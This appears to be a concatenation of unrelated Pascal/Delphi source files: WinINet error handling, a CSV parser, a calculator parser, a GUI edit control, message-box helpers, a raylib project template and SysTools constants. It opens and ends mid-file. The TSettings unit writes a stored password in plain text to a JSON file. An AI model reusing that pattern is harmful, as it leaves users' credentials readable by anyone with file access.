cOperationIsInProgress = 'Operation is in progress';
cUnknownError = 'Unknown error, code = %d';
cResourceAccessError = 'HTTP resource access error occured, code = %d';
cDataStreamAbsent = 'The data source stream is not assigned';
cExtendedErrorInfo = 'Additional info';
cRequestTimeOut = 'Request timeout';
cDataValueName = 'Data';
HTTP_QUERY_STATUS_CODE_Msg = 'Status Code';
HTTP_QUERY_CONTENT_LENGTH_Msg = 'Content Length';
HTTP_QUERY_LAST_MODIFIED_Msg = 'Last Modified';
HTTP_QUERY_CONTENT_TYPE_Msg = 'Content Type';
implementation
uses
clUtils;
{ TclResourceInfo }
procedure TclResourceInfo.Assign(Source: TclResourceInfo);
begin
if (Source <> nil) then
begin
FSize := Source.Size;
FName := Source.Name;
FDate := Source.Date;
FContentType := Source.ContentType;
FStatusCode := Source.StatusCode;
FStatusText := Source.StatusText;
FAllowsRandomAccess := Source.AllowsRandomAccess;
FContentDisposition := Source.ContentDisposition;
FCompressed := Source.Compressed;
end else
begin
FSize := 0;
FName := '';
FDate := 0;
FContentType := '';
FStatusCode := 0;
FStatusText := '';
FAllowsRandomAccess := False;
FContentDisposition := '';
FCompressed := False;
end;
end;
constructor TclResourceInfo.Create;
begin
inherited Create();
FSize := 0;
FDate := Now();
end;
function TclResourceInfo.GetAllowsRandomAccess: Boolean;
begin
Result := (Size > 0) and FAllowsRandomAccess;
end;
procedure TclResourceInfo.SetAllowsRandomAccess(AValue: Boolean);
begin
FAllowsRandomAccess := AValue;
end;
procedure TclResourceInfo.SetCompressed(AValue: Boolean);
begin
FCompressed := AValue;
end;
procedure TclResourceInfo.SetContentDisposition(const AValue: string);
begin
FContentDisposition := AValue;
end;
procedure TclResourceInfo.SetContentType(const AValue: string);
begin
FContentType := AValue;
end;
procedure TclResourceInfo.SetDate(AValue: TDateTime);
begin
FDate := AValue;
end;
procedure TclResourceInfo.SetName(const AValue: string);
begin
FName := AValue;
end;
procedure TclResourceInfo.SetSize(AValue: Int64);
begin
FSize := AValue;
end;
procedure TclResourceInfo.SetStatus(ACode: Integer; const AText: string);
begin
FStatusCode := ACode;
FStatusText := AText;
end;
{ EclInternetError }
constructor EclInternetError.CreateByLastError;
begin
FErrorCode := clGetLastError();
inherited Create(GetLastErrorText(FErrorCode));
end;
class function EclInternetError.GetLastErrorText(ACode: Integer): string;
var
ExtErr, dwLength: DWORD;
Len: Integer;
Buffer: array[0..255] of Char;
buf: PclChar;
begin
Result := '';
Len := FormatMessage(FORMAT_MESSAGE_FROM_HMODULE or FORMAT_MESSAGE_FROM_SYSTEM,
Pointer(GetModuleHandle('wininet.dll')), ACode, 0, Buffer, SizeOf(Buffer), nil);
while (Len > 0) and CharInSet(Buffer[Len - 1], [#0..#32, '.']) do Dec(Len);
SetString(Result, Buffer, Len);
if (ACode = ERROR_INTERNET_EXTENDED_ERROR) then
begin
InternetGetLastResponseInfo(ExtErr, nil, dwLength);
if (dwLength > 0) then
begin
GetMem(buf, dwLength);
try
if InternetGetLastResponseInfo(ExtErr, buf, dwLength) then
begin
if (Result <> '') then
begin
Result := Result + '; ' + cExtendedErrorInfo + ': ';
end;
Result := Result + GetString_(buf);
end;
finally
FreeMem(buf);
end;
end;
end;
if (Result = '') then
begin
Result := Format(cUnknownError, [ACode]);
end;
end;
constructor EclInternetError.Create(const AErrorText: string; AErrorCode: Integer; ADummy: Boolean);
begin
inherited Create(AErrorText);
FErrorCode := AErrorCode;
end;
end.
|
unit parser;
interface
const
mark = ',';
function csv (t: string) : string;
(*Menambahkan tanda petik ganda ke ujung-ujung string dan mengubah tanda petik ganda
di string menjadi dua petik ganda*)
procedure csv_comma_solver(var f : Text; var a : string);
(*Prosedur ini membaca data dari file csv apabila terdapat tanda koma dan tanda petik ganda yang
berbelit-belit.*)
implementation
function csv (t: string) : string;
(*Menambahkan tanda petik ganda pada ujung-ujung data dan mengubah tanda petik ganda
di dalam data menjadi dua buah untuk menyiasati keberadaan tanda koma pada data.*)
(*Kamus Lokal*)
var
data_baru : string;
i : integer;
(*Algoritma*)
begin
data_baru := '"';
for i:=1 to Length(t) do begin
if(t[i] = '"') then begin
data_baru := data_baru + '""';
end else begin
data_baru := data_baru + t[i];
end;
end;
data_baru := data_baru + '"';
csv := data_baru;
end;
procedure csv_comma_solver(var f: Text; var a : string);
(*Kamus Lokal*)
var
chara : char;
quote_count : integer;
inside_count : boolean;
i: integer;
(*Algoritma*)
begin
a := '';
inside_count := False; (*Menyatakan apakah data diapit oleh petik ganda atau tidak*)
quote_count := 0;
read(f, chara);
while(chara = '"') do begin (*Meghitung banyak petik ganda di awal data*)
quote_count := quote_count + 1;
read(f, chara);
end;
if((quote_count mod 2) = 1) then begin (*Jika banyak petik ganda ganjil, berarti data diapit*)
inside_count := True;
for i:=1 to ((quote_count-1) div 2) do a := a + '"';
end;
if(inside_count = True) then begin (*Jika diapit, perlu diketahui di mana pengapit di sebelah kanannya*)
repeat
quote_count := 0;
while(chara = '"') do begin
quote_count := quote_count + 1;
if (not eof(f)) then begin
read(f, chara);
end else begin
break;
end;
end;
if(quote_count > 0) then begin
if(quote_count mod 2 = 1) then begin
inside_count := False;
for i:=1 to ((quote_count-1) div 2) do a := a + '"';
end else begin
for i:=1 to (quote_count div 2 ) do a := a + '"';
a := a + chara;
read(f,chara);
end;
end else begin
a := a + chara;
read(f, chara);
end;
until (inside_count = False);
if(EOLn(f)) and (not eof(f)) then begin
read(f,chara);
end;
end else begin (*Jika tidak diapit, baca perkarakter hingga end of line atau end of file atau menemui mark*)
a := a + chara;
read(f, chara);
while(chara <> ',') and (not EOLn(f)) do begin
a := a + chara;
read(f, chara);
end;
if(EOLn(f)) then begin
a := a + chara;
if(not eof(f)) then begin
read(f,chara);
end;
end;
end;
end;
end.
|
unit ModCalcSyn;
interface
var
success : boolean;
procedure S;
implementation
uses ModCalcLex;
procedure expr(var e : integer); forward;
procedure term(var t : integer); forward;
procedure fact(var f : integer); forward;
procedure S;
var e : integer;
begin
(* S = expr EOF. *)
success := TRUE;
expr(e); if not success then exit;
if curSy <> eofSy then begin success := FALSE; exit; end;
newSy;
(* sem *)
write(e);
(* endsem *)
end;
procedure expr(var e : integer);
var t : integer;
begin
(* Expr = Term { '+' Term | '-' Term } *)
term(e); if not success then exit;
while (curSy = plusSy) or (curSy = minusSy) do begin
case curSy of
plusSy: begin
newSy;
term(t); if not success then exit;
(* sem *)
e := e + t;
(* endsem *)
end;
minusSy: begin
newSy;
term(t); if not success then exit;
(* sem *)
e := e - t;
(* endsem *)
end;
end; (* case *)
end; (* while *)
end;
procedure term(var t : integer);
var f : integer;
begin
(* Term = Fact { '*' Fact | '/' Fact }. *)
fact(t); if not success then exit;
while (curSy = mulSy) or (curSy = divSy) do begin
case curSy of
mulSy: begin
newSy;
fact(f); if not success then exit;
(* sem *)
t := t * f;
(* endsem *)
end;
divSy: begin
newSy;
fact(f); if not success then exit;
(* sem *)
t := t div f;
(* endsem *)
end;
end; (* case *)
end; (* while *)
end;
procedure fact(var f : integer);
begin
(* Fact = number | '(' Expr ')' . *)
case curSy of
numberSy : begin
newSy;
(* sem *)
f := numVal;
(* endsem *)
end;
leftParSy : begin
newSy; (* skip (*)
expr(f); if not success then exit;
if curSy <> rightParSy then begin success := FALSE; exit; end;
newSy;
end;
else begin
success := FALSE; exit;
end; (* else *)
end;(* case *)
end;
begin
end.
|
unit elCustomButtonEdit;
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// Библиотека "Everest"
// Автор: Люлин А.В.
// Модуль: "w:/common/components/gui/Garant/Everest/elCustomButtonEdit.pas"
// Начат: 14.05.2008 15:41
// Родные Delphi интерфейсы (.pas)
// Generated from UML model, root element: <<GuiControl::Class>> Shared Delphi::Everest::elClone::TelCustomButtonEdit
//
//
// Все права принадлежат ООО НПП "Гарант-Сервис".
//
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ! Полностью генерируется с модели. Править руками - нельзя. !
{$Include ..\Everest\evDefine.inc}
interface
uses
l3Core,
Messages,
Classes,
elCustomEdit,
CustomElGraphicButton,
Controls {a}
;
type
TelCustomButtonEdit = class(TelCustomEdit)
private
// private fields
f_OnButtonClick : TNotifyEvent;
{* Поле для свойства OnButtonClick}
f_Button : TCustomElGraphicButton;
{* Поле для свойства Button}
private
// private methods
procedure WMKeyDown(var Message: TWMKey); message WM_KEYDOWN;
procedure CMEnabledChanged(var Msg: TMessage); message CM_ENABLEDCHANGED;
procedure ButtonClickTransfer(Sender: TObject);
{* TNotifyEvent. }
procedure WMWindowPosChanged(var Message: TWMWindowPosChanged); message WM_WindowPosChanged;
protected
// property methods
function Get_ButtonWidth: Integer;
protected
// overridden protected methods
procedure Cleanup; override;
{* Функция очистки полей объекта. }
procedure SetEditRect; override;
procedure KeyPress(var Key: Char); override;
public
// overridden public methods
constructor Create(AOwner: TComponent); override;
protected
// protected methods
procedure AdjustWidth; virtual;
protected
// protected properties
property OnButtonClick: TNotifyEvent
read f_OnButtonClick
write f_OnButtonClick;
property ButtonWidth: Integer
read Get_ButtonWidth;
property Button: TCustomElGraphicButton
read f_Button;
end;//TelCustomButtonEdit
implementation
uses
SysUtils,
Windows,
Forms,
Graphics,
afwFacade
;
type
TElEditBtn = class(TCustomElGraphicButton)
end;//TElEditBtn
// start class TelCustomButtonEdit
procedure TelCustomButtonEdit.AdjustWidth;
//#UC START# *4F2AA6F20181_482ACFA703C2_var*
//#UC END# *4F2AA6F20181_482ACFA703C2_var*
begin
//#UC START# *4F2AA6F20181_482ACFA703C2_impl*
// - ничего не делаем
//#UC END# *4F2AA6F20181_482ACFA703C2_impl*
end;//TelCustomButtonEdit.AdjustWidth
function TelCustomButtonEdit.Get_ButtonWidth: Integer;
//#UC START# *482C46460006_482ACFA703C2get_var*
{ Returns the Width property from the FButton subcomponent. }
//#UC END# *482C46460006_482ACFA703C2get_var*
begin
//#UC START# *482C46460006_482ACFA703C2get_impl*
Result := f_Button.Width;
//#UC END# *482C46460006_482ACFA703C2get_impl*
end;//TelCustomButtonEdit.Get_ButtonWidth
procedure TelCustomButtonEdit.WMKeyDown(var Message: TWMKey);
//#UC START# *482C45BB0247_482ACFA703C2_var*
//#UC END# *482C45BB0247_482ACFA703C2_var*
begin
//#UC START# *482C45BB0247_482ACFA703C2_impl*
with Message do
if (CharCode = VK_ESCAPE) and (KeyDataToShiftState(KeyData) = []) then
begin
GetParentForm(Self).Perform(CM_DIALOGKEY, CharCode, KeyData);
inherited;
end
else
if (CharCode = VK_RETURN) and (KeyDataToShiftState(KeyData) = [ssCtrl]) then
begin
SendMessage(Handle, WM_CHAR, TMessage(Message).wParam, TMessage(Message).lParam);
CharCode := 0;
end
else
inherited;
//#UC END# *482C45BB0247_482ACFA703C2_impl*
end;//TelCustomButtonEdit.WMKeyDown
procedure TelCustomButtonEdit.CMEnabledChanged(var Msg: TMessage);
//#UC START# *482C45FF0183_482ACFA703C2_var*
//#UC END# *482C45FF0183_482ACFA703C2_var*
begin
//#UC START# *482C45FF0183_482ACFA703C2_impl*
inherited;
NotifyControls(CM_ENABLEDCHANGED);
Invalidate;
//#UC END# *482C45FF0183_482ACFA703C2_impl*
end;//TelCustomButtonEdit.CMEnabledChanged
procedure TelCustomButtonEdit.ButtonClickTransfer(Sender: TObject);
//#UC START# *482C4664002B_482ACFA703C2_var*
{ Transfers f_Button OnClick event to the outside world. }
//#UC END# *482C4664002B_482ACFA703C2_var*
begin
//#UC START# *482C4664002B_482ACFA703C2_impl*
if (assigned(f_OnButtonClick)) then
f_OnButtonClick(Self); { Substitute Self for subcomponent's Sender. }
//#UC END# *482C4664002B_482ACFA703C2_impl*
end;//TelCustomButtonEdit.ButtonClickTransfer
procedure TelCustomButtonEdit.WMWindowPosChanged(var Message: TWMWindowPosChanged);
//#UC START# *4B6C695B0031_482ACFA703C2_var*
//#UC END# *4B6C695B0031_482ACFA703C2_var*
begin
//#UC START# *4B6C695B0031_482ACFA703C2_impl*
inherited;
{$If not defined(DesignTimeLibrary)}
if afw.NeedFixWMSIZE(Self) then
SetEditRect;
{$IfEnd}
//#UC END# *4B6C695B0031_482ACFA703C2_impl*
end;//TelCustomButtonEdit.WMWindowPosChanged
procedure TelCustomButtonEdit.Cleanup;
//#UC START# *479731C50290_482ACFA703C2_var*
//#UC END# *479731C50290_482ACFA703C2_var*
begin
//#UC START# *479731C50290_482ACFA703C2_impl*
FreeAndNil(f_Button);
inherited;
//#UC END# *479731C50290_482ACFA703C2_impl*
end;//TelCustomButtonEdit.Cleanup
constructor TelCustomButtonEdit.Create(AOwner: TComponent);
//#UC START# *47D1602000C6_482ACFA703C2_var*
//#UC END# *47D1602000C6_482ACFA703C2_var*
begin
//#UC START# *47D1602000C6_482ACFA703C2_impl*
inherited Create(AOwner);
f_Button := TElEditBtn.Create(nil);
with TElEditBtn(f_Button) do
begin
Cursor := crArrow;
ParentColor := false;
Color := clBtnFace;
Parent := Self;
UseXPThemes := false;
UseXPThemes := true;
OnClick := ButtonClickTransfer;
Width := 15;
Flat := false;
Visible := true;
AdjustSpaceForGlyph := false;
if csDesigning in ComponentState then
Enabled := false;
end; { f_Button }
TabStop := true;
//#UC END# *47D1602000C6_482ACFA703C2_impl*
end;//TelCustomButtonEdit.Create
procedure TelCustomButtonEdit.SetEditRect;
//#UC START# *482BFA6D022D_482ACFA703C2_var*
var
Loc : TRect;
HOffs,
VOffs: integer;
//#UC END# *482BFA6D022D_482ACFA703C2_var*
begin
//#UC START# *482BFA6D022D_482ACFA703C2_impl*
if not HandleAllocated or (csDestroying in ComponentState) then
begin
inherited;
exit;
end;//not HandleAllocated..
HOffs := 0;
VOffs := 0;
if (BorderStyle = bsSingle) and (not Ctl3D) then
begin
Hoffs := GetSystemMetrics(SM_CYBORDER);
Voffs := GetSystemMetrics(SM_CXBORDER);
end;//BorderStyle = bsSingle
if f_Button.Visible then
f_Button.BoundsRect := Rect(ClientWidth - f_Button.Width- HOffs, VOffs, ClientWidth - HOffs, ClientHeight - VOffs);
SetRect(Loc, HOffs, VOffs, ClientWidth - HOffs, ClientHeight - VOffs);
if f_Button.Visible then
begin
Dec(Loc.Right, f_Button.Width);
//RMargin := Self.BoundsRect.Right - f_Button.BoundsRect.Left;
RMargin := f_Button.Width + 1;
end//f_Button.Visible
else
RMargin := 0;
inherited{ SetEditRect(Loc)};
//#UC END# *482BFA6D022D_482ACFA703C2_impl*
end;//TelCustomButtonEdit.SetEditRect
procedure TelCustomButtonEdit.KeyPress(var Key: Char);
//#UC START# *482C4E0E01E4_482ACFA703C2_var*
//#UC END# *482C4E0E01E4_482ACFA703C2_var*
begin
//#UC START# *482C4E0E01E4_482ACFA703C2_impl*
if (Key = Char(VK_RETURN)) or (Key = Char(VK_ESCAPE)) then
begin
{if HandleDialogKeys then
GetParentForm(Self).Perform(CM_DIALOGKEY, Byte(Key), 0);
}if Key = Char(VK_RETURN) then
begin
inherited KeyPress(Key);
if not false then
Key := #0;
Exit;
end;
end;
inherited KeyPress(Key);
//#UC END# *482C4E0E01E4_482ACFA703C2_impl*
end;//TelCustomButtonEdit.KeyPress
end. |
unit USettings;
interface
uses
System.Classes, System.SysUtils, Data.DBXJSONReflect, FMX.Dialogs,
System.IOUtils, Data.DBXJSON, System.JSON;
type
TSettings = class(TObject)
private
{ Private declarations }
// to be marshalled to JSON
fFilename: String;
fBoxAddress: String;
fUsername: String;
fPassword: String;
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create;
destructor Destroy;
procedure write;
procedure read;
published
{ Published declarations }
Property BoxAddress: String read fBoxAddress write fBoxAddress;
Property Username: String read fUsername write fUsername;
Property Password: String read fPassword write fPassword;
end;
implementation
constructor TSettings.Create;
begin
fBoxAddress := '';
fUsername := '';
fPassword := '';
fFilename := 'Settings.json';
end;
destructor TSettings.Destroy;
begin
{ if (Assigned(fJSONMarshaller)) then
begin
FreeAndNil(fJSONMarshaller);
end;
if (Assigned(fJSONUnMarshaller)) then
begin
FreeAndNil(fJSONUnMarshaller);
end; }
end;
procedure TSettings.read;
var
lJSONUnMarshaller: TJSONUnMarshal;
lTextFile: TextFile;
ltext: String;
lJSONObject: TJSONValue;
lJSONString: String;
lSettings: TSettings;
begin
// Création du unmarshaller
lJSONUnMarshaller := TJSONUnMarshal.Create;
// change to Document directoy
ChDir(TPath.GetDocumentsPath);
// assignation du fichier text de settings
AssignFile(lTextFile, fFilename);
// open file for reading
Reset(lTextFile);
// Display the file contents
while not Eof(lTextFile) do
begin
ReadLn(lTextFile, ltext);
lJSONString := lJSONString + ltext;
end;
// Close the file for the last time
CloseFile(lTextFile);
// unmarshall to local instance
lJSONObject := TJSONObject.ParseJSONValue(lJSONString) as TJSONObject;
lSettings := TSettings(lJSONUnMarshaller.Unmarshal(lJSONObject));
// copying values to this instance
fBoxAddress := lSettings.BoxAddress;
fUsername := lSettings.Username;
fPassword := lSettings.Password;
if Assigned(lSettings) then
begin
FreeAndNil(lSettings);
end;
if (Assigned(lJSONUnMarshaller)) then
begin
FreeAndNil(lJSONUnMarshaller);
end;
end;
procedure TSettings.write;
var
lJSONMarshaller: TJSONMarshal;
lTextFile: TextFile;
lJSONString: String;
begin
// Création du marshaller
lJSONMarshaller := TJSONMarshal.Create(TJSONConverter.Create);
// marchalling en string
lJSONString := lJSONMarshaller.Marshal(self).ToString;
// change to Document directoy
ChDir(TPath.GetDocumentsPath);
// assignation du fichier text de settings
AssignFile(lTextFile, fFilename);
ReWrite(lTextFile);
// Ecriture du fichier
WriteLn(lTextFile, lJSONString);
// Fermeture du fichier
CloseFile(lTextFile);
// destruction du marshaller
if (Assigned(lJSONMarshaller)) then
begin
FreeAndNil(lJSONMarshaller);
end;
end;
end.
|
{$I ATViewerDef.inc}
unit ATViewerProc;
interface
uses Windows;
function MsgBox(const Msg, Title: WideString; Flags: integer; h: THandle = INVALID_HANDLE_VALUE): integer;
procedure MsgInfo(const Msg: WideString; h: THandle = INVALID_HANDLE_VALUE);
procedure MsgError(const Msg: WideString; h: THandle = INVALID_HANDLE_VALUE);
const
ssViewerCaption: string = 'Viewer';
ssViewerAbout: string = 'Universal file viewer';
ssViewerAbout2 = 'Copyright © 2006 Alexey Torgashin';
ssViewerErrCannotFindFile: string = 'File not found: %s';
ssViewerErrCannotOpenFile: string = 'Cannot open file: %s';
ssViewerErrCannotSaveFile: string = 'Cannot save file: %s';
ssViewerErrCannotLoadFile: string = 'Cannot load file: %s';
ssViewerErrCannotReadFile: string = 'Cannot read file: %s';
ssViewerErrCannotReadPos: string = 'Read error at offset %s';
ssViewerErrImage: string = 'Unknown image format';
ssViewerErrMultimedia: string = 'Unknown multimedia format';
ssViewerErrCannotFindText: string = 'String not found: %s';
ssViewerErrCannotCopyText: string = 'Cannot copy text to clipboard';
implementation
uses SysUtils, Forms;
function MsgBox(const Msg, Title: WideString; Flags: integer; h: THandle = INVALID_HANDLE_VALUE): integer;
begin
if h=INVALID_HANDLE_VALUE then
h:= Application.Handle;
if Win32Platform=VER_PLATFORM_WIN32_NT
then Result:= MessageBoxW(h, PWChar(Msg), PWChar(Title), Flags or MB_SETFOREGROUND)
else Result:= MessageBoxA(h, PChar(string(Msg)), PChar(string(Title)), Flags or MB_SETFOREGROUND);
end;
procedure MsgInfo(const Msg: WideString; h: THandle = INVALID_HANDLE_VALUE);
begin
MsgBox(Msg, ssViewerCaption, MB_OK or MB_ICONINFORMATION, h);
end;
procedure MsgError(const Msg: WideString; h: THandle = INVALID_HANDLE_VALUE);
begin
MsgBox(Msg, ssViewerCaption, MB_OK or MB_ICONERROR, h);
end;
end.
|
unit ray4laz_descript;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Forms, LazIDEIntf, ProjectIntf, MenuIntf;
type
{ TRay4LazSimpleProjectDescriptor }
TRay4LazSimpleProjectDescriptor = class(TProjectDescriptor)
public
constructor Create; override;
function GetLocalizedName: string; override;
function GetLocalizedDescription: string; override;
function InitProject(AProject: TLazProject): TModalResult; override;
function CreateStartFiles(AProject: TLazProject): TModalResult; override;
end;
procedure Register;
implementation
uses lclintf;
procedure ShowCheatsheet(Sender: TObject);
begin
OpenURL('https://www.raylib.com/cheatsheet/cheatsheet.html');
end;
procedure Register;
begin
RegisterProjectDescriptor(TRay4LazSimpleProjectDescriptor.Create);
RegisterIDEMenuCommand(itmInfoHelps, 'AboutRay4LazLibItem', 'raylib - cheatsheet',nil, @ShowCheatsheet, nil, 'menu_information');
end;
{ TRay4LazSimpleProjectDescriptor }
constructor TRay4LazSimpleProjectDescriptor.Create;
begin
inherited Create;
Name := 'Raylib Simple Project';
Flags := Flags -[pfMainUnitHasCreateFormStatements,pfMainUnitHasTitleStatement] + [pfUseDefaultCompilerOptions];
end;
function TRay4LazSimpleProjectDescriptor.GetLocalizedName: string;
begin
Result:= 'Raylib Simple Project';
end;
function TRay4LazSimpleProjectDescriptor.GetLocalizedDescription: string;
begin
Result:=GetLocalizedName + LineEnding + LineEnding +
'A simple and easy-to-use library to enjoy videogames programming (www.raylib.com)';
end;
function TRay4LazSimpleProjectDescriptor.InitProject(AProject: TLazProject
): TModalResult;
var
Source: string;
MainFile: TLazProjectFile;
begin
Result := inherited InitProject(AProject);
MainFile := AProject.CreateProjectFile('game.lpr');
MainFile.IsPartOfProject := True;
AProject.AddFile(MainFile, False);
AProject.MainFileID := 0;
Source:='program Game;' + LineEnding +
LineEnding +
'{$mode objfpc}{$H+}' + LineEnding +
LineEnding +
'uses ' +'cmem, ray_headers, math;' + LineEnding + LineEnding +
'const' + LineEnding +
' screenWidth = 800;'+ LineEnding +
' screenHeight = 450;'+ LineEnding + LineEnding +
'begin' + LineEnding +
'{$IFDEF DARWIN}' + LineEnding +
'SetExceptionMask([exDenormalized,exInvalidOp,exOverflow,exPrecision,exUnderflow,exZeroDivide]);' + LineEnding +
'{$IFEND}' + LineEnding + LineEnding +
' InitWindow(screenWidth, screenHeight, ''raylib pascal - basic window'');' + LineEnding +
' SetTargetFPS(60);' + LineEnding + LineEnding +
' while not WindowShouldClose() do ' + LineEnding +
' begin'+ LineEnding +
' BeginDrawing();' + LineEnding +
' ClearBackground(RAYWHITE);' + LineEnding + LineEnding +
' DrawText(''raylib in lazarus !!!'', 20, 20, 20, SKYBLUE);' + LineEnding + LineEnding +
' EndDrawing(); ' + LineEnding +
' end;' + LineEnding +
'CloseWindow(); ' + LineEnding +
LineEnding +
'end.' + LineEnding + LineEnding;
AProject.MainFile.SetSourceText(Source);
AProject.LazCompilerOptions.UnitOutputDirectory := 'lib' + PathDelim + '$(TargetCPU)-$(TargetOS)' + PathDelim+ 'ray4laz_dsgn';
AProject.LazCompilerOptions.TargetFilename:= 'game';
AProject.AddPackageDependency('ray4laz');
end;
function TRay4LazSimpleProjectDescriptor.CreateStartFiles(AProject: TLazProject
): TModalResult;
begin
Result:=inherited CreateStartFiles(AProject);
end;
end.
|
// Upgraded to Delphi 2009: Sebastian Zierer
(* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is TurboPower SysTools
*
* The Initial Developer of the Original Code is
* TurboPower Software
*
* Portions created by the Initial Developer are Copyright (C) 1996-2002
* the Initial Developer. All Rights Reserved.
*
* Contributor(s):
*
* ***** END LICENSE BLOCK ***** *)
{*********************************************************}
{* SysTools: StConst.pas 4.04 *}
{*********************************************************}
{* SysTools: Base unit for SysTools *}
{*********************************************************}
{$I StDefine.inc}
unit StConst;
{-Resource constants for SysTools}
interface
uses
SysUtils;
const
StVersionStr = '4.04';
const
{string table constants for STREGINI}
stscFalseString = 0;
stscTrueString = 1;
stscNoFileKey = 2;
stscInvalidPKey = 3;
stscNoWin32S = 4;
stscCreateKeyFail = 5;
stscOpenKeyFail = 6;
stscIniWriteFail = 7;
stscRegWriteFail = 8;
stscNoKeyName = 9;
stscQueryKeyFail = 10;
stscEnumKeyFail = 11;
stscEnumValueFail = 12;
stscIniDeleteFail = 13;
stscKeyHasSubKeys = 14;
stscDeleteKeyFail = 15;
stscIniDelValueFail = 16;
stscRegDelValueFail = 17;
stscOutputFileExists = 18;
stscFileHasExtension = 19;
stscSaveKeyFail = 20;
stscNo16bitSupport = 21;
stscCantFindInputFile = 22;
stscLoadKeyFail = 23;
stscUnloadKeyFail = 24;
stscNotWinNTPlatform = 25;
stscBadOptionsKeyCombo = 26;
stscRestoreKeyFail = 27;
stscReplaceKeyFail = 28;
stscNoIniFileSupport = 29;
stscRemoteKeyIsOpen = 30;
stscConnectRemoteKeyFail = 31;
stscCloseRemoteKeyFail = 32;
stscFlushKeyFail = 33;
stscBufferDataSizesDif = 34;
stscKeyIsEmptyNotExists = 35;
stscGetSecurityFail = 36;
stscSetSecurityFail = 37;
stscByteArrayTooLarge = 38;
stscQueryValueFail = 39;
stscNoValueNameSpecified = 40;
{string table constants for container classes}
stscNoCompare = 51; {Compare property must be set}
stscBadType = 52; {an incompatible class is passed to a method}
stscBadSize = 53; {bad size for TStDictionary, TStBits, TStCollection}
stscDupNode = 54; {attempt to add duplicate node to TStTree}
stscBadIndex = 55; {bad index passed to TStBits or large array}
stscBadWinMode = 56; {requires enhanced mode operation}
stscUnknownClass = 57; {container class name not registered}
stscUnknownNodeClass = 58; {container node class name not registered}
stscNoStoreData = 59; {container has no store data routine}
stscNoLoadData = 60; {container has no load data routine}
stscWrongClass = 61; {container class and streamed class not equal}
stscWrongNodeClass = 62; {container node class and streamed class not equal}
stscBadCompare = 63; {invalid compare function or unable to assign now}
stscTooManyCols = 64; {assign a matrix with >1 col to array}
stscBadColCount = 65; {assign a matrix with wrong col count to virtual matrix}
stscBadElSize = 66; {assign a matrix with wrong elem size to virtual matrix}
stscBadDups = 67; {setting Dups to False in a non-empty sorted collection}
{string table constants for sorting unit}
stscTooManyFiles = 71; {too many merge files in TStSorter}
stscFileCreate = 72; {error creating file in TStSorter}
stscFileOpen = 73; {error opening file in TStSorter}
stscFileWrite = 74; {error writing file in TStSorter}
stscFileRead = 75; {error reading file in TStSorter}
stscBadState = 76; {TStSorter in wrong state}
{string table constants for Bcd unit}
stscBcdBadFormat = 81; {bad BCD format}
stscBcdOverflow = 82; {BCD larger than 10**64}
stscBcdDivByZero = 83; {BCD divide by zero}
stscBcdBadInput = 84; {BCD negative input to sqrt, ln, or power}
stscBcdBufOverflow = 85; {buffer overflow in FormatBcd}
stscNoVerInfo = 100; {no version info in file}
stscVerInfoFail = 101; {error reading version info}
(*
{shell string constants}
stscShellVersionError = 110; {not available in this version of Shell32.dll}
stscShellFileOpSrcError = 111; {no source files specified}
stscShellFileOpDstError = 112; {no destination files specified}
stscShellFileOpMapError = 113; {mapping incomplete}
stscShellFormatError = 114; {format error}
stscShellFormatCancel = 115; {format cancelled}
stscShellFormatNoFormat = 116; {drive cannot be formatted}
stscShellFormatBadDrive = 117; {not removable drive}
stscTrayIconInvalidOS = 118; {bad OS (NT 3.51)}
stscTrayIconCantAdd = 119; {can't add icon to the tray}
stscTrayIconCantDelete = 120; {can't delete icon from the tray}
stscTrayIconError = 121; {general tray icon error}
stscBadDropTarget = 122; {drop target is not TWinControl}
stscCOMInitFailed = 123; {COInitialize failed}
stscNoPathSpecified = 124; {No destination path for shortcut}
stscIShellLinkError = 125; {Error creating IShellLink}
stscNotShortcut = 126; {File is not a shortcut}
stscTrayIconClose = 127; {Close}
stscTrayIconRestore = 128; {Restore}
stscInvalidTargetFile = 130; {Shortcut target file not found}
stscShellFileOpDelete = 131; {Can't use file mappings with delete op}
stscShellFileNotFound = 132; {One or more source files is missing}
stscTrayIconDuplicate = 133; {Cant' have more than one tray icon}
stscBadVerInfoKey = 134; {User-defined key not found in ver info}
stscImageListInvalid = 135; {No image list assigned.}
*)
stscBadVerInfoKey = 134; {User-defined key not found in ver info}
{barcode errors}
stscInvalidUPCACodeLen = 140;
stscInvalidCharacter = 141;
stscInvalidCheckCharacter = 142;
stscInvalidUPCECodeLen = 143;
stscInvalidEAN8CodeLen = 144;
stscInvalidEAN13CodeLen = 145;
stscInvalidSupCodeLen = 146;
{stexpr errors}
stscExprEmpty = 150; {empty expression}
stscExprBadNum = 151; {error in floating point number}
stscExprBadChar = 152; {unknown character}
stscExprOpndExp = 153; {expected function, number, sign, or (}
stscExprNumeric = 154; {numeric error}
stscExprBadExp = 155; {invalid expression}
stscExprOpndOvfl = 156; {operand stack overflow}
stscExprUnkFunc = 157; {unknown function identifier}
stscExprLParExp = 158; {left parenthesis expected}
stscExprRParExp = 159; {right parenthesis expected}
stscExprCommExp = 160; {list separator (comma) expected}
stscExprDupIdent = 161; {duplicate identifier}
{ststat errors}
stscStatBadCount = 170; {unequal or bad counts of array elements}
stscStatBadParam = 171; {invalid parameter}
stscStatBadData = 172; {invalid data point in array}
stscStatNoConverge = 173; {no convergence in numerical routine}
{stfin errors}
stscFinBadArg = 180;
stscFinNoConverge = 181;
{stmime errors}
stscBadEncodeFmt = 190;
stscBadAttachment = 191;
stscDupeString = 192;
stscInStream = 193;
{ststring errors}
stscOutOfBounds = 200; {Index out of string bounds}
{stBarPN errors}
stscInvalidLength = 210;
{StHTML errors}
stscNoInputFile = 215;
stscNoOutputFile = 216;
stscInFileError = 217;
stscOutFileError = 218;
stscWordDelimiters = 219;
stscInvalidSLEntry = 220;
stscBadStream = 221;
{StShlCtl constansts}
stscName = 230;
stscSize = 231;
stscType = 232;
stscModified = 233;
stscAttributes = 234;
stscFileFolder = 235;
stscSystemFolder = 236;
